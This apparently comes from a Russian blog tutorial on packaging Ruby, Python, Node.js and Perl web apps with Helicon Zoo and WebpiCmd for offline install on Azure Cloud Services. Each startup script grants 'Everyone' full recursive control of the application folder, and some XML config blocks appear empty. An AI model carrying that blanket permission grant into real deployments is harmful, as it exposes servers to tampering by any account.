Почему так важно использовать именно эти инструменты? Потому что они позволяют упаковать все зависимости внутрь приложения. Ведь наше приложение будет отправлено для работы на Azure Cloud Services и нам нужно иметь при себе все необходимые зависимости. Разумеется, мы могли бы выполнять Ruby команду 'bundle install' чтобы скачать из интернета и установить все зависимости каждый раз, когда новый узел Cloud Services входит в строй. Однако тогда наше приложение будет зависеть еще и от работы сервиса rubygems.org и других интернет ресурсов, 100% доступность которых под вопросом. К тому же всегда есть вероятность, что мы забудем указать точную версию какого ни будь gem-а из вторичных зависимостей и наше приложение вдруг перестанет работать с выходом новой, несовместимой версии gem-а, хотя мы вроде бы ничего и не меняли. Помножите все эти вероятности, и вы получите не такой уж и привлекательный аптайм. Значит, нам нужно минимизировать число внешних зависимостей, чтобы по возможности при установке из интернета не качалось ничего – тогда все новые виртуальные машины будут точными копиями друг друга.
И тут есть один тонкий момент – привычка. Если например программисты на Java привыкли что все зависимости должны быть упакованы с приложением как само собой разумеющееся, то программисты на Ruby больше привыкли конфигурировать сервер руками и на свое усмотрение. Так что работа с Helicon Zoo потребует некоторой дисциплины, а именно: нельзя запускать консоль или IDE для работы с приложением, даже на вашей рабочей станции, предварительно не сконфигурировав пути к приложению. Сделать это можно либо запустив консоль и IDE из Helicon Zoo Manager, либо выполнив экспортированный из приложения environment.cmd файл перед запуском других команд. Отсюда также следует, что нельзя устанавливать gem-ы и другие модули глобально. Пользуясь этими правилами можно получить легко портируемое приложение, которое удобно переносить с одного сервера на другой.
Так как мы устанавливали Redmine прямо из репозитория Helicon Zoo, то все зависимости были установлены в приложение автоматически. Теперь, чтобы перенести наш Redmine на другой сервер, нам понадобится лишь установить Helicon Zoo -> Ruby Hosting Package на этом сервере и перенести саму папку с сайтом. В пакет Ruby Hosting Package уже входит Ruby разных версий, Dev kit, Helicon Zoo Module и все другие зависимости что могут пригодится на сервере. Вместо установки Ruby Hosting Package можно в принципе установить только требуемые пакеты из репозитория Helicon Zoo отдельно, чтобы сэкономить место. Однако тут повышается вероятность что-то пропустить, да и места дистрибутивы Ruby занимают не так много чтобы экономить.
На сервере мы не будем качать пакеты Ruby и Helicon Zoo из интернета чтобы не зависить от доступности дистрибутивов и серверов. Для этого также существует способ упаковать все один раз, чтобы потом устанавливать из архива. Мы используем Web Platform Installer и утилиту командной строки **WebpiCMD.exe**. Найти ее можно обычно в папке установки Web Platform Installer: C:\Program Files\Microsoft\Web Platform Installer. Эта утилита может упаковывать продукты из Web Platform Installer для их последующей установки без подключения к интернет.
Для начала запустите консоль с административными правами, кликнув на ней правой кнопкой и выбрав пункт 'Run as administrator':

Это нужно чтобы не открывалось новое окно консоли при запуске WebpiCMD.exe, иначе читать вывод команды будет затруднительно. Сохранять установочные пакеты будем в самой директории сайта с Redmine в папку 'offline-package'. Т.к. я устанавливал Redmine под IIS Express, то мой сайт находится в папке 'C:\Users\**Slov**\Documents\My Web Sites\**redmine222**'. В вашем случае имя папки будет другим, так что исправьте это в следующей команде и выполните в консоли:
```
mkdir "C:\Users\Slov\Documents\My Web Sites\redmine222\offline-package"
WebpiCmd.exe /offline /Products:RubyHostingPackage /Path:"C:\Users\Slov\Documents\My Web Sites\redmine222\offline-package" /Feeds:http://www.helicontech.com/zoo/feed.xml
```
Как видно из команды мы указываем продукт, который должен быть сохранен для offline-установки. При этом WebpiCmd.exe сохранит все его возможные зависимости, битности и т.п. В команду пеердается путь к папке куда сохранять пакеты и URL репозитория Helicon Zoo, откуда все эти пакеты и берутся. Весь процесс может занять некоторое время. Помните, что многие shell-команды не любят пробелы в пути, так что не забываем кавычки. Эта команда сохранит продукт RubyHostingPackage и все его возможные зависимости в папку 'offline-package' внутри нашего веб сайта. Затем содержимое этой папки можно будет использовать, чтобы установить пакет Ruby Hosting Package на другой машине. На момент написания статьи в Helicon Zoo входит семь хостинг пакетов и имена у них следующие:
```
CFMLHostingPackage CFML Hosting Package
JavaHostingPackage Java Hosting Package
RubyHostingPackage Ruby Hosting Package
NodejsHostingPackage Node.js Hosting Package
PerlHostingPackage Perl Hosting Package
PHPHostingPackage PHP Hosting Package
PythonHostingPackage Python Hosting Package
```
Более подробно про оффлайн установку можно почитать на английском по [этой ссылке](http://www.helicontech.com/zoo/docs/offline.htm). Посмотреть внутренние имена всех доступных продуктов можно воспользовавшись ключем /List команды WebpiCmd.exe. Оригинальная английская документация к утилите WebpiCMD.exe находится [здесь](http://www.iis.net/learn/install/web-platform-installer/web-platform-installer-v4-command-line-webpicmdexe-rtw-release).
Если вы посмотрите на структуру получившейся папки 'offline-package', то в папке bin увидите что WebpiCMD.exe очень кстати уже включил рабочую копию самого себя в пакет. Именно его мы будем вызывать на виртуальной машине Azure Cloud Services, чтобы установить нужные зависимости обратно из пакета.

Прежде чем упаковать наш сайт для Azure, нужно добавить к нему скрипт, который будет устанавливать все зависимости на виртуальной машине. По правилам Azure этот скрипт должен находиться в директории bin под корнем самого сайта. Назовем этот файл startup.cmd. Вот его содержимое:
**[bin\startup.cmd]**
```
echo Starting installation...
rem Дать права на чтение и запись папке куда распаковано приложение
icacls "%RoleRoot%\approot" /grant "Everyone":F /T
rem Локальная папка AppData с правами на запись нужна для работы Web Platform Installer
rem Создадим эту папку и ключ реестра на нее указывающий
md "%RoleRoot%\appdata"
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d "%RoleRoot%\appdata" /f
rem Перейдем в папку с WebpiCmd.exe
pushd "%RoleRoot%\approot\offline-package\bin"
rem Вызов команды WebpiCmd.exe для установки продукта из папки offline-package
rem Обратите внимание на имя продукта - RubyHostingPackage, а также логи в install.txt и install-error.txt
WebpiCmd.exe /install /Products:RubyHostingPackage /XML:%RoleRoot%\approot\offline-package\feeds\latest\webproductlist.xml ^
/Feeds:%RoleRoot%\approot\offline-package\feeds\latest\supplementalfeeds\feed.xml ^
/AcceptEula >%RoleRoot%\approot\public\install.txt 2>%RoleRoot%\approot\public\install-error.txt
popd
rem Вернуть старое значение ключу реестра с AppData
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f
rem Тут можно выполнить другие действия, например удалить временные файлы.
echo Completed installation.
```
Переменная %RoleRoot% будет указывать куда устанавливается наша роль, а папка %RoleRoot%\approot соответственно будет корневой папкой сайта. Главной строкой в этом файле является вызов WebpiCmd.exe. Обратите внимание на перенаправление вывода логов установки в файл install.txt, а вывод STDERR будет в файле install-error.txt – оба в папку public корня получившегося сайта. Можно будет потом запросить эти файлы по URL чтобы прочитать возможные ошибки установки, если опыт не удастся с первого раза. Первой строкой устанавливаются права на запись в папку с сайтом – эти права нужны самому Redmine для работы, т.к. Ruby приложения часто пишут в папку с приложением.
Теперь настало время упаковать сайт для Azure Cloud Services. Сайт у меня находится в папке «C:\Users\Slov\Documents\My Web Sites\redmine222». Перейдем консолью в папку выше нашего сайта – у меня это будет папка «C:\Users\Slov\Documents\My Web Sites\». Здесь нам понадобится создать три файла: файл конфигурации сервиса \*.cscfg, файл с параметрами для создания пакета \*.csdef и файл cmd скрипта которым будет удобно все это упаковать. Вот эти файлы с некоторыми комментариями:
**[remine222.csdef]**
```
xml version="1.0" encoding="utf-8"?
```
Имя роли и имя папки, где она находится, почему-то должны совпадать.
**[redmine222.cloud.cscfg]**
```
xml version="1.0" encoding="utf-8"?
```
Описания и форматы этих файлов можно найти в интернете и в самой документации к Windows Azure, так что опустим подробности.
**[redmine222.pack.cmd]**
```
@echo off
set WINDOWS_AZURE_SDK_PATH="C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\v2.1"
call %WINDOWS_AZURE_SDK_PATH%\bin\setenv.cmd
pushd %~dp0
if "%ServiceHostingSDKInstallPath%" == "" (
echo Can't see the ServiceHostingSDKInstallPath environment variable. Please run from a Windows Azure SDK command-line (run Program Files\Windows Azure SDK\^\bin\setenv.cmd^).
GOTO :eof
)
rem Тут можно удалить временные файлы, остановить IIS и т.п.
rem iisreset /stop
rem Переименовать deploy\_done.rb в deploy.rb чтобы запустить процесс деплоя по новой
ren redmine222\deploy\_done.rb deploy.rb
rem Эта команда создает пакет для Windows Azure
cspack redmine222.csdef /out:redmine222.cspkg
popd
```
Обратите внимание на строчку
```
ren redmine222\deploy_done.rb deploy.rb
```
Эта команда переименовывает файл deploy\_done.rb в deploy.rb, что приведет к повторному запуску деплой-скрипта в Helicon Zoo при первом запросе к развернувшемуся приложению. Если мы правильно упаковали все модули и нам не нужно мигрировать базу данных, то этот шаг не обязателен и может сэкономить время. Однако вероятность того что с первого раза все будет правильно упаковано не очень высока, поэтому для первых попыток я рекомендую оставить эту строчку.
Еще одной рекомендацией будет отредактировать файл web.config корня сайта и добавить такую строчку в секцию :
Эта строчка включает выдачу подробных сообщений о 500-й ошибке при внешних запросах к IIS. Без этой строчки если что-то сломается в приложении, то текста ошибки вы не увидите, а только сухое сообщение 'Server error'. Для работы в production режиме эту строку лучше убрать, но для первого запуска она может пригодиться.
По [этой ссылке](https://dl.dropboxusercontent.com/u/7840290/habrahabr/redmine222.zip) вы можете найти примеры описанных выше файлов в соответствии со структурой папок проекта – чтобы было понятнее что куда ложить.
Все, файлы готовы. Теперь перед вызовом redmine222.pack.cmd нужно остановить IIS или IIS Express на рабочей станции, чтобы разблокировать файлы приложения. Затем вызвать redmine222.pack.cmd из нашей консоли с административными правами. Процесс упаковки займет какое-то время и в результате у нас получится файл redmine222.cspkg, который фактически представляет собой ZIP архив со всеми необходимыми пакетами. Размер этого файла у меня получился 138 мегабайт, что немало, т.к. в него включены версии Ruby 1.8, 1.9, две версии Ruby DevKit, Helicon Zoo Module, Microsoft URL Rewrite, сам Redmine и все требуемые для его работы gem-ы. Зато этот архив включает в себя все зависимости и нам не придется ничего качать из интернета, а сам же архив будет передан внутри сети Azure, что, смею надеяться, значительно быстрее.
Теперь перейдем в портал управления Windows Azure. Нужно создать новый Cloud Service и выбрать ему URL:

Затем нужно выбрать «New staging deployment»:

Выбрать наши файлы с Redmine из локальной папки. Нужно указать флаг «Deploy even if role contain a single instance», потому что в файле redmine222.csdef мы указали использовать один экземпляр роли, чего достаточно для тестов, хотя в реальных условиях вам, скорее всего, понадобится увеличить это число.

После чего начнется процесс загрузки пакета в Azure, создания новой виртуальной машины, разворачивания нашего пакета с приложением на этой виртуальной машине и выполнение установочных скриптов. Процесс довольно длительный, у меня он занимает минут 20 – не меньше. Когда все процессы установки будут завершены, нажмите на ссылку Site URL.

Вы должны увидеть страницу Applcation deployment из Helicon Zoo, которая затем обновится на домашнюю страницу Redmine:

Чтобы затем ваш веб сайт стал виден пользователям под более приемлемым доменным именем, вам нужно в настройках вашего домена у регистратора указать либо CNAME запись на доменное имя внутри .cloudapp.net (предпочтительно) или указать 'A'-record вашего домена на публичный IP адрес вашего Azure-приложения. Сам же Microsoft не занимается предоставлением услуг по регистрации доменов.
Python
======
В этой главе мы рассмотрим, как установить вручную приложение, которое не входит в репозиторий Helicon Zoo. Для этого мы будем использовать приложение [Lightning Fast Shop](http://www.getlfs.com/) (LFS) с открытым исходным кодом, написанное на Python с использование Django. Шаги по публикации приложения в Azure Cloud Service будут практически идентичны с прошлой главой, а вот шаги по развертыванию приложения на рабочей станции будут другими.
Итак, ставим [Microsoft Web Platform Installer](http://www.microsoft.com/web/downloads/platform.aspx), [Helicon Zoo feed](http://www.helicontech.com/zoo/install.htm) и [Windows Azure SDK](http://wpi:placeholder&WindowsAzureSDK_2_1???), как в прошлой главе, если еще что-то из этого не установлено. Запускаем Web Platform Installer и устанавливаем Zoo -> Templates -> Python project на IIS Express.

Запустится WebMatrix и откроется новый сайт:

Мы только что установили шаблонный проект для Python. В этом проекте уже сконфигурирован virtualenv, который и будет использован для установки всех модулей и зависимостей внутрь сайта. Для запуска своего проекта на Python можно идти дальше по инструкции на пригласительной странице Python project. Только не забывайте запускать консоль или IDE (например [PyCharm](http://www.jetbrains.com/pycharm/) ) используя Helicon Zoo Manager, чтобы консоль запускалась с предварительно сконфигурированным virtualenv, иначе команды не найдут путей к нашему приложению.
Lightning Fast Shop достаточно большая и капризная в установке программа, поэтому я прошу вас шаг за шагом повторить следующую инструкцию по его ручной установке на IIS и Helicon Zoo. Я не буду давать слишком подробных объяснений, что происходит, потому что происходящее имеет отношение к особенностям проекта LFS, а не к Helicon Zoo или Azure. Настройка другого проекта может идти по другому сценарию. В случае неудачи попробуйте начать с более мелких и простых проектов, следуя инструкциям из Python project. Проект LFS я выбрал просто для того чтобы показать что не только «Hello World» можно запускать на Azure Cloud Services.
1. Скачайте диструбутив LFS с [официального сайта](https://pypi.python.org/pypi/django-lfs). Я выбрал версию 0.7.7. Нужно скачать обязательно installer-версию, у которой имя файла вроде django-lfs-installer-0.7.7.tar.gz.
В архиве будет папка **'lfs-installer'** – распакуйте **её содержимое** в корень сайта с нашим Python project (в моем случае это папка C:\Users\Slov\Documents\My Web Sites\ZooPythonProject2).
Запустите Helicon Zoo Manager, выберете нужный сайт с проектом и нажмите на Start IDE, чтобы запустить сконфигурированную консоль.
В консоли введите:
```
python bootstrap.py
```
Затем
```
bin\buildout –v
```
Затем отредактируйте файл lfs\_project\settings.py и замените секцию DATABASES следующим текстом, для использования в проекте SQLite:
```
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
'NAME': os.path.join(DIRNAME, 'sqlite3.bd'), # Or path to database file if using sqlite3.
'USER': '', # Not used with sqlite3.
'PASSWORD': '', # Not used with sqlite3.
'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '', # Set to empty string for default. Not used with sqlite3.
}
}
```
Затем введите в консоли последовательно такие команды:
```
bin\django syncdb
bin\django lfs_init
bin\django collectstatic
```
Если все выполнилось без ошибок, то теперь можно запустить тестовый сервер Django, чтобы проверить работу проекта LFS отдельно от веб сервера IIS. Выполните в консоли:
```
bin/django runserver
```
И затем откройте в браузере <http://localhost:8080/>
Теперь, чтобы запустить проект на IIS через Helicon Zoo, нужно задать PYTHONPATH в файле **web.config**. У LFS он длинный и включает в себя множество egg-пакетов. Найти его можно в файле bin\django\_script.py:
```
#!"C:\Users\Slov\Documents\My Web Sites\ZooPythonProject2\venv\Scripts\python.exe"
import sys
sys.path[0:0] = [
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_lfs-0.7.6-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\gunicorn-18.0-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\djangorecipe-1.1.2-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django-1.3.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\zc.recipe.egg-2.0.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\zc.buildout-2.2.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\south-0.7.3-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\pillow-1.7.5-py2.7-win32.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\lfs_order_numbers-1.0b1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\lfs_contact-1.0-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_tagging-0.3.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_reviews-0.2.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_postal-0.9-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_portlets-1.1.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_paypal-0.1.2-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_pagination-1.0.7-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_lfstheme-0.7.3-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_compressor-1.1.1-py2.7.egg',
'c:\\users\\slov\\documents\\my web sites\\zoopythonproject2\\venv\\lib\\site-packages',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_piston-0.2.3-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_countries-1.5-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\django_appconf-0.6-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\eggs\\six-1.4.1-py2.7.egg',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\parts\\django',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\parts',
'c:\\users\\slov\\docume~1\\mywebs~1\\zoopyt~1\\lfs_project',
]
import djangorecipe.manage
if __name__ == '__main__':
sys.exit(djangorecipe.manage.main('lfs_project.settings'))
```
Как видно там абсолютные пути, что нам не подходит, ведь проект будет переносится в Azure. Для задания PYTHONPATH через web.config эти пути нужно переделать в такой, немного странный формат. Вот фрагмент моего web.config:
```
xml version="1.0" encoding="UTF-8"?
```
Можете скопировать к себе в web.config, однако если вы настраиваете версию отличную от 0.7.7, то ваш PYTHONPATH может отличаться.
Также установим переменную DJANGO\_SETTINGS\_MODULE в web.config:
```
```
Теперь содержимое папки **'\lfs\_project\sitestatic'** нужно перенести в папку **'\static'** в корне сайта.
Все, проект готов к запуску на IIS. Нажмите на ссылку в WebMatrix и вы должны увидеть домашнюю страницу LFS.
Структура папок в результате вышла следующая:

Дальше подготовим пакет для Azure Cloud Services. Запустите Helicon Zoo Manager, выберете нужный сайт и нажмите Start IDE для запуска консоли. Web console тут не подойдет, т.к. у нее будет недостаточно прав. Выполните там следующие команды:
```
mkdir offline-package
WebpiCmd.exe /offline /Products:PythonHostingPackage /Path:"offline-package" /Feeds:http://www.helicontech.com/zoo/feed.xml
```
Это сохранит Python Hosting Package в директории offline-package внутри сайта.
Затем создайте три файла для Azure Cloud Services в папке 'My Documents\My Web Sites', как в предыдущей главе. Я выделил жирным те строчки, которые в этих файлах отличаются от предыдущих:
**[LFS.Cloud.cscfg]**
```
xml version="1.0" encoding="utf-8"?
```
**[LFS.csdef]**
```
xml version="1.0" encoding="utf-8"?
```
**[LFS.pack.cmd]**
```
@echo off
set WINDOWS_AZURE_SDK_PATH="C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\v2.1"
call %WINDOWS_AZURE_SDK_PATH%\bin\setenv.cmd
pushd %~dp0
if "%ServiceHostingSDKInstallPath%" == "" (
echo Can't see the ServiceHostingSDKInstallPath environment variable. Please run from a Windows Azure SDK command-line (run Program Files\Windows Azure SDK\^\bin\setenv.cmd^).
GOTO :eof
)
rem Тут можно удалить временные файлы, остановить IIS и т.п.
rem iisreset /stop
**del /s /q \*.log \*.pyc \*.pyo**
rem Эта команда создает пакет для Windows Azure
cspack lfs.csdef /out:lfs.cspkg
popd
```
И осталось создать файл **\bin\startup.cmd** в корне сайта:
```
echo Starting installation...
rem Дать права на чтение и запись папке куда распаковано приложение
icacls "%RoleRoot%\approot" /grant "Everyone":F /T
rem Локальная папка AppData с правами на запись нужна для работы Web Platform Installer
rem Создадим эту папку и ключ реестра на нее указывающий
md "%RoleRoot%\appdata"
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d "%RoleRoot%\appdata" /f
rem Перейдем в папку с WebpiCmd.exe
pushd "%RoleRoot%\approot\offline-package\bin"
rem Вызов команды WebpiCmd.exe для установки продукта из папки offline-package
rem Обратите внимание на имя продукта - **PythonHostingPackage**, а также логи в install.txt и install-error.txt
WebpiCmd.exe /install /Products:PythonHostingPackage /XML:%RoleRoot%\approot\offline-package\feeds\latest\webproductlist.xml ^
/Feeds:%RoleRoot%\approot\offline-package\feeds\latest\supplementalfeeds\feed.xml /AcceptEula ^
>%RoleRoot%\approot\static\install.txt 2>%RoleRoot%\approot\static\install-error.txt
popd
rem Вернуть старое значение ключу реестра с AppData
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f
rem Тут можно выполнить другие действия, например удалить временные файлы.
echo Completed installation.
```
В [этом архиве](https://dl.dropboxusercontent.com/u/7840290/habrahabr/lfs.zip) вы найдете пример описанных выше файлов.
Выполните LFS.pack.cmd. Получившийся файл LFS.cspkg у меня занимает 70мб.
Удалим старый Staging Environment из Azure Portal и создадим новый. Передадим файлы как в предыдущей главе и ожидаем запуска.

Когда строчка «Not all instances are ready» пропадет, можно открывать ссылку, где мы должны увидеть работающий Lightning Fast Shop в Azure Cloud Services.

Node.js
=======
Теперь на очереди Node.js. Итак, запускаем **Microsoft Web Platform Installer** и устанавливаем **Zoo -> Templates -> Node.js project**. Все зависимости будут установлены автоматически.

После запуска проект развернется во вполне готовое Model-View-Route приложение, построенное на базе express.js, sqlite3, persist.js и Twitter Bootstrap. В этом шаблоне для примера уже будет простенький блог и административная панель к нему. Такое приложение может быть хорошей отправной точкой для создания собственного сайта. Если же у вас уже есть готовый Node.js веб сайт, то вы, очевидно, знаете назначение всех прописанных в шаблонном проекте файлов. Просто перезапишите свои файлы поверх, оставляя web.config нетронутым, и ваше приложение должно заработать.

Этот простенький блог мы и будем устанавливать на Azure Cloud Services. Как и в предыдущих главах – запустим Helicon Zoo Manager и нажмем Start IDE или Start web console. В консоли наберем:
```
mkdir offline-package
WebpiCmd.exe /offline /Products:NodejsHostingPackage /Path:"offline-package" /Feeds:http://www.helicontech.com/zoo/feed.xml
```
Дальше создадим файл **bin\startup.cmd**:
**[bin\startup.cmd]**
```
echo Starting installation...
rem Дать права на чтение и запись папке куда распаковано приложение
icacls "%RoleRoot%\approot" /grant "Everyone":F /T
rem Локальная папка AppData с правами на запись нужна для работы Web Platform Installer
rem Создадим эту папку и ключ реестра на нее указывающий
md "%RoleRoot%\appdata"
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d "%RoleRoot%\appdata" /f
rem Перейдем в папку с WebpiCmd.exe
pushd "%RoleRoot%\approot\offline-package\bin"
rem Вызов команды WebpiCmd.exe для установки продукта из папки offline-package
rem Обратите внимание на имя продукта – NodejsHostingPackage, а также логи в install.txt и install-error.txt
WebpiCmd.exe /install /Products:NodejsHostingPackage /XML:%RoleRoot%\approot\offline-package\feeds\latest\webproductlist.xml ^
/Feeds:%RoleRoot%\approot\offline-package\feeds\latest\supplementalfeeds\feed.xml ^
/AcceptEula >%RoleRoot%\approot\public\install.txt 2>%RoleRoot%\approot\public\install-error.txt
popd
rem Вернуть старое значение ключу реестра с AppData
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f
rem Тут можно выполнить другие действия, например удалить временные файлы.
echo Completed installation.
```
И затем три файла в директории «My Web Sites»:
**[Node.js.Cloud.cscfg]**
```
xml version="1.0" encoding="utf-8"?
```
**[Node.js.csdef]**
```
xml version="1.0" encoding="utf-8"?
```
**[Node.js.pack.cmd]**
```
@echo off
set WINDOWS_AZURE_SDK_PATH="C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\v2.1"
call %WINDOWS_AZURE_SDK_PATH%\bin\setenv.cmd
pushd %~dp0
if "%ServiceHostingSDKInstallPath%" == "" (
echo Can't see the ServiceHostingSDKInstallPath environment variable. Please run from a Windows Azure SDK command-line (run Program Files\Windows Azure SDK\^\bin\setenv.cmd^).
GOTO :eof
)
rem Тут можно удалить временные файлы, остановить IIS и т.п.
rem iisreset /stop
rem Эта команда создает пакет для Windows Azure
cspack Node.js.csdef /out:Node.js.cspkg
popd
```
Как и раньше различия выделены жирным.
Выполним Node.js.pack.cmd, в результате получим файл Node.js.cspkg размером примерно 41мб. Вот ссылка на архив с примерами файлов выше: <https://dl.dropboxusercontent.com/u/7840290/habrahabr/Node.js.zip>
Теперь опубликуем пакеты в Azure Cloud Services как и в предыдущих главах. Весь процесс занимает минут 5-10, что значительно быстрее, чем, например, в случае с Ruby.
Perl
====
На этот раз все же будем ставить «Hello World» проект на Mojolitious. К сожалению ничего более зрелищного для Perl у меня под рукой не нашлось. Запустим **Microsoft Web Platform Installer** и установим **Zoo -> Templates -> Perl project**.

После установки откроется страница «Welcome to universal Perl template powered by Helicon Zoo», нажмите на этой странице на ссылку «open web console» и наберите там следующую команду:
```
cpanm Mojolicious
```
Теперь создайте файл **app.pl** такого содержания:
**[app.pl]**
```
use Mojolicious::Lite;
get '/' => sub { shift->render(text => 'Hello from Mojolicious!') };
app->start;
```
Нажав «обновить» в браузере увидим сообщение «Hello from Mojolicious!». Не ахти как красиво, но концепцию доказывает.
Теперь, как и в предыдущих главах выполняем из консоли:
```
mkdir offline-package
WebpiCmd.exe /offline /Products:PerlHostingPackage /Path:"offline-package" /Feeds:http://www.helicontech.com/zoo/feed.xml
```
Добавим скрипт bin\startup.cmd:
**[bin\startup.cmd]**
```
echo Starting installation...
rem Дать права на чтение и запись папке куда распаковано приложение
icacls "%RoleRoot%\approot" /grant "Everyone":F /T
rem Локальная папка AppData с правами на запись нужна для работы Web Platform Installer
rem Создадим эту папку и ключ реестра на нее указывающий
md "%RoleRoot%\appdata"
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d "%RoleRoot%\appdata" /f
rem Перейдем в папку с WebpiCmd.exe
pushd "%RoleRoot%\approot\offline-package\bin"
rem Вызов команды WebpiCmd.exe для установки продукта из папки offline-package
rem Обратите внимание на имя продукта – PerlHostingPackage, а также логи в install.txt и install-error.txt
WebpiCmd.exe /install /Products:PerlHostingPackage /XML:%RoleRoot%\approot\offline-package\feeds\latest\webproductlist.xml ^
/Feeds:%RoleRoot%\approot\offline-package\feeds\latest\supplementalfeeds\feed.xml ^
/AcceptEula >%RoleRoot%\approot\public\install.txt 2>%RoleRoot%\approot\public\install-error.txt
popd
rem Вернуть старое значение ключу реестра с AppData
reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" ^
/v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f
rem Тут можно выполнить другие действия, например удалить временные файлы.
echo Completed installation.
```
И создадим файлы в папке «My Web Sites» (предполагается что сайт находится в папке «My Web Sites\Perl project»):
**[Perl.Cloud.cscfg]**
```
xml version="1.0" encoding="utf-8"?
```
**[Perl.csdef]**
```
xml version="1.0" encoding="utf-8"?
```
**[Perl.pack.cmd]**
```
@echo off
set WINDOWS_AZURE_SDK_PATH="C:\Program Files\Microsoft SDKs\Windows Azure\.NET SDK\v2.1"
call %WINDOWS_AZURE_SDK_PATH%\bin\setenv.cmd
pushd %~dp0
if "%ServiceHostingSDKInstallPath%" == "" (
echo Can't see the ServiceHostingSDKInstallPath environment variable. Please run from a Windows Azure SDK command-line (run Program Files\Windows Azure SDK\^\bin\setenv.cmd^).
GOTO :eof
)
rem Тут можно удалить временные файлы, остановить IIS и т.п.
rem iisreset /stop
rem Эта команда создает пакет для Windows Azure
cspack Perl.csdef /out:Perl.cspkg
popd
```
Ссылка на архив с примерами файлов: [https://dl.dropboxusercontent.com/u/7840290/habrahabr/Perl.zip](https://dl.dropboxusercontent.com/u/7840290/habrahabr/Perl.zip "https://dl.dropboxusercontent.com/u/7840290/habrahabr/Perl.zip")
Запустим Perl.pack.cmd. Получится файл Perl.cspkg размером 92мб. Выложим файлы на Azure Cloud Services и убедимся что программа на Mojolicious работает корректно, открыв ссылку по завершении всей установки.

Java и ColdFusion (Railo)
=========================
На последок остались Java и ColdFusion. В качестве альтернативы ColdFusion в Helicon Zoo на данный момент используется бесплатный Railo с открытым исходным кодом. Сразу же оговорюсь – установить Java или Railo на Azure Cloud Services мне не удалось, и причина тому весьма тривиальна – ограничение на размер пакетов Azure. По крайней мере в моем аккаунте нельзя выкладывать пакеты более 200 мб размером. При этом для работы Railo и большинства других серверных технологий на Java требуется Oracle JDK, размер дистрибутива которого 125 мб, что вместе с другими компонентами легко переваливает за 200. Однако я все же опишу, как должны были бы запускаться Java программы, если бы не это ограничение. Возможно, ограничение будет снято в будущем и глава станет актуальна. Тем более что в целом запуск Java программ достаточно прост и удобен. Java разработчикам не нужно приучаться упаковывать компоненты внутрь программ – для них это стандартное поведение. Сайты, программы и сервисы на Java, как правило, имеют минимум внешних зависимостей и не нуждаются в сложной настройке среды.
